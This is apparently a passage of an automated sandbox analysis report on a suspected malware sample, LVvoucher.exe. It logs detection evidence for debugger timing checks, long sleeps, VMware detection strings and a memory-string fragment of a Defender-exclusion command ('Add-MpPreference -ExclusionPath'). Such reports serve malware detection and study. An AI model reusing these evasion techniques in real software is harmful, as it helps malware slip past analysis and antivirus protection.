Source: C:\Windows\SysWOW64\cmstp.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409AB0 rdtsc 16_2_00409AB0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\LVvoucher.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5343 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3083 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\cmstp.exe API coverage: 9.6 %
Source: C:\Users\user\Desktop\LVvoucher.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Thread delayed: delay time: 39532 Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000012.00000000.373943190.000000000EF31000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000012.00000000.371753438.00000000086C9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000012.00000000.404762530.0000000008778000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000012.00000000.373943190.000000000EF31000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}veryMan
Source: explorer.exe, 00000012.00000000.373943190.000000000EF31000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ackagesg#
Source: explorer.exe, 00000012.00000000.371753438.00000000086C9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 00000012.00000000.383167189.00000000067C2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000012.00000000.383167189.00000000067C2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: explorer.exe, 00000012.00000000.373943190.000000000EF31000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}soft.Wif$
Source: explorer.exe, 00000012.00000000.371753438.00000000086C9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging
barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409AB0 rdtsc 16_2_00409AB0
Enables debug privileges
Source: C:\Users\user\Desktop\LVvoucher.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B746D mov eax, dword ptr fs:[00000030h] 23_2_047B746D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA44B mov eax, dword ptr fs:[00000030h] 23_2_047CA44B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868CD6 mov eax, dword ptr fs:[00000030h] 23_2_04868CD6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CBC2C mov eax, dword ptr fs:[00000030h] 23_2_047CBC2C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816CF0 mov eax, dword ptr fs:[00000030h] 23_2_04816CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816CF0 mov eax, dword ptr fs:[00000030h] 23_2_04816CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816CF0 mov eax, dword ptr fs:[00000030h] 23_2_04816CF0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048514FB mov eax, dword ptr fs:[00000030h] 23_2_048514FB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851C06 mov eax, dword ptr fs:[00000030h] 23_2_04851C06
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0486740D mov eax, dword ptr fs:[00000030h] 23_2_0486740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0486740D mov eax, dword ptr fs:[00000030h] 23_2_0486740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0486740D mov eax, dword ptr fs:[00000030h] 23_2_0486740D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816C0A mov eax, dword ptr fs:[00000030h] 23_2_04816C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816C0A mov eax, dword ptr fs:[00000030h] 23_2_04816C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816C0A mov eax, dword ptr fs:[00000030h] 23_2_04816C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816C0A mov eax, dword ptr fs:[00000030h] 23_2_04816C0A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482C450 mov eax, dword ptr fs:[00000030h] 23_2_0482C450
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482C450 mov eax, dword ptr fs:[00000030h] 23_2_0482C450
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A849B mov eax, dword ptr fs:[00000030h] 23_2_047A849B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BC577 mov eax, dword ptr fs:[00000030h] 23_2_047BC577
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BC577 mov eax, dword ptr fs:[00000030h] 23_2_047BC577
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048605AC mov eax, dword ptr fs:[00000030h] 23_2_048605AC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048605AC mov eax, dword ptr fs:[00000030h] 23_2_048605AC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B7D50 mov eax, dword ptr fs:[00000030h] 23_2_047B7D50
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D3D43 mov eax, dword ptr fs:[00000030h] 23_2_047D3D43
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4D3B mov eax, dword ptr fs:[00000030h] 23_2_047C4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4D3B mov eax, dword ptr fs:[00000030h] 23_2_047C4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C4D3B mov eax, dword ptr fs:[00000030h] 23_2_047C4D3B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov eax, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov eax, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov eax, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov ecx, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov eax, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04816DC9 mov eax, dword ptr fs:[00000030h] 23_2_04816DC9
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479AD30 mov eax, dword ptr fs:[00000030h] 23_2_0479AD30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A3D34 mov eax, dword ptr fs:[00000030h] 23_2_047A3D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485FDE2 mov eax, dword ptr fs:[00000030h] 23_2_0485FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485FDE2 mov eax, dword ptr fs:[00000030h] 23_2_0485FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485FDE2 mov eax, dword ptr fs:[00000030h] 23_2_0485FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485FDE2 mov eax, dword ptr fs:[00000030h] 23_2_0485FDE2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04848DF1 mov eax, dword ptr fs:[00000030h] 23_2_04848DF1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AD5E0 mov eax, dword ptr fs:[00000030h] 23_2_047AD5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AD5E0 mov eax, dword ptr fs:[00000030h] 23_2_047AD5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868D34 mov eax, dword ptr fs:[00000030h] 23_2_04868D34
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0481A537 mov eax, dword ptr fs:[00000030h] 23_2_0481A537
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485E539 mov eax, dword ptr fs:[00000030h] 23_2_0485E539
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04813540 mov eax, dword ptr fs:[00000030h] 23_2_04813540
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C1DB5 mov eax, dword ptr fs:[00000030h] 23_2_047C1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C1DB5 mov eax, dword ptr fs:[00000030h] 23_2_047C1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C1DB5 mov eax, dword ptr fs:[00000030h] 23_2_047C1DB5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C35A1 mov eax, dword ptr fs:[00000030h] 23_2_047C35A1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CFD9B mov eax, dword ptr fs:[00000030h] 23_2_047CFD9B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CFD9B mov eax, dword ptr fs:[00000030h] 23_2_047CFD9B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04792D8A mov eax, dword ptr fs:[00000030h] 23_2_04792D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04792D8A mov eax, dword ptr fs:[00000030h] 23_2_04792D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04792D8A mov eax, dword ptr fs:[00000030h] 23_2_04792D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04792D8A mov eax, dword ptr fs:[00000030h] 23_2_04792D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04792D8A mov eax, dword ptr fs:[00000030h] 23_2_04792D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2581 mov eax, dword ptr fs:[00000030h] 23_2_047C2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2581 mov eax, dword ptr fs:[00000030h] 23_2_047C2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2581 mov eax, dword ptr fs:[00000030h] 23_2_047C2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2581 mov eax, dword ptr fs:[00000030h] 23_2_047C2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482FE87 mov eax, dword ptr fs:[00000030h] 23_2_0482FE87
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BAE73 mov eax, dword ptr fs:[00000030h] 23_2_047BAE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BAE73 mov eax, dword ptr fs:[00000030h] 23_2_047BAE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BAE73 mov eax, dword ptr fs:[00000030h] 23_2_047BAE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BAE73 mov eax, dword ptr fs:[00000030h] 23_2_047BAE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BAE73 mov eax, dword ptr fs:[00000030h] 23_2_047BAE73
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A766D mov eax, dword ptr fs:[00000030h] 23_2_047A766D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04860EA5 mov eax, dword ptr fs:[00000030h] 23_2_04860EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04860EA5 mov eax, dword ptr fs:[00000030h] 23_2_04860EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04860EA5 mov eax, dword ptr fs:[00000030h] 23_2_04860EA5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048146A7 mov eax, dword ptr fs:[00000030h] 23_2_048146A7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A7E41 mov eax, dword ptr fs:[00000030h] 23_2_047A7E41
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0484FEC0 mov eax, dword ptr fs:[00000030h] 23_2_0484FEC0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868ED6 mov eax, dword ptr fs:[00000030h] 23_2_04868ED6
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479E620 mov eax, dword ptr fs:[00000030h] 23_2_0479E620
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA61C mov eax, dword ptr fs:[00000030h] 23_2_047CA61C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA61C mov eax, dword ptr fs:[00000030h] 23_2_047CA61C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479C600 mov eax, dword ptr fs:[00000030h] 23_2_0479C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479C600 mov eax, dword ptr fs:[00000030h] 23_2_0479C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479C600 mov eax, dword ptr fs:[00000030h] 23_2_0479C600
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C8E00 mov eax, dword ptr fs:[00000030h] 23_2_047C8E00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851608 mov eax, dword ptr fs:[00000030h] 23_2_04851608
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A76E2 mov eax, dword ptr fs:[00000030h] 23_2_047A76E2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C16E0 mov ecx, dword ptr fs:[00000030h] 23_2_047C16E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C36CC mov eax, dword ptr fs:[00000030h] 23_2_047C36CC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D8EC7 mov eax, dword ptr fs:[00000030h] 23_2_047D8EC7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0484FE3F mov eax, dword ptr fs:[00000030h] 23_2_0484FE3F
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485AE44 mov eax, dword ptr fs:[00000030h] 23_2_0485AE44
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485AE44 mov eax, dword ptr fs:[00000030h] 23_2_0485AE44
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817794 mov eax, dword ptr fs:[00000030h] 23_2_04817794
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817794 mov eax, dword ptr fs:[00000030h] 23_2_04817794
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04817794 mov eax, dword ptr fs:[00000030h] 23_2_04817794
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AFF60 mov eax, dword ptr fs:[00000030h] 23_2_047AFF60
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AEF40 mov eax, dword ptr fs:[00000030h] 23_2_047AEF40
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CE730 mov eax, dword ptr fs:[00000030h] 23_2_047CE730
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04794F2E mov eax, dword ptr fs:[00000030h] 23_2_04794F2E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04794F2E mov eax, dword ptr fs:[00000030h] 23_2_04794F2E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047BF716 mov eax, dword ptr fs:[00000030h] 23_2_047BF716
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA70E mov eax, dword ptr fs:[00000030h] 23_2_047CA70E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CA70E mov eax, dword ptr fs:[00000030h] 23_2_047CA70E
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D37F5 mov eax, dword ptr fs:[00000030h] 23_2_047D37F5
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0486070D mov eax, dword ptr fs:[00000030h] 23_2_0486070D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0486070D mov eax, dword ptr fs:[00000030h] 23_2_0486070D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482FF10 mov eax, dword ptr fs:[00000030h] 23_2_0482FF10
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482FF10 mov eax, dword ptr fs:[00000030h] 23_2_0482FF10
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04868F6A mov eax, dword ptr fs:[00000030h] 23_2_04868F6A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A8794 mov eax, dword ptr fs:[00000030h] 23_2_047A8794
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04813884 mov eax, dword ptr fs:[00000030h] 23_2_04813884
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04813884 mov eax, dword ptr fs:[00000030h] 23_2_04813884
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B0050 mov eax, dword ptr fs:[00000030h] 23_2_047B0050
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B0050 mov eax, dword ptr fs:[00000030h] 23_2_047B0050
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AB02A mov eax, dword ptr fs:[00000030h] 23_2_047AB02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AB02A mov eax, dword ptr fs:[00000030h] 23_2_047AB02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AB02A mov eax, dword ptr fs:[00000030h] 23_2_047AB02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AB02A mov eax, dword ptr fs:[00000030h] 23_2_047AB02A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C002D mov eax, dword ptr fs:[00000030h] 23_2_047C002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C002D mov eax, dword ptr fs:[00000030h] 23_2_047C002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C002D mov eax, dword ptr fs:[00000030h] 23_2_047C002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C002D mov eax, dword ptr fs:[00000030h] 23_2_047C002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C002D mov eax, dword ptr fs:[00000030h] 23_2_047C002D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov eax, dword ptr fs:[00000030h] 23_2_0482B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov ecx, dword ptr fs:[00000030h] 23_2_0482B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov eax, dword ptr fs:[00000030h] 23_2_0482B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov eax, dword ptr fs:[00000030h] 23_2_0482B8D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0482B8D0 mov eax, dword ptr fs:[00000030h] 23_2_0482B8D0
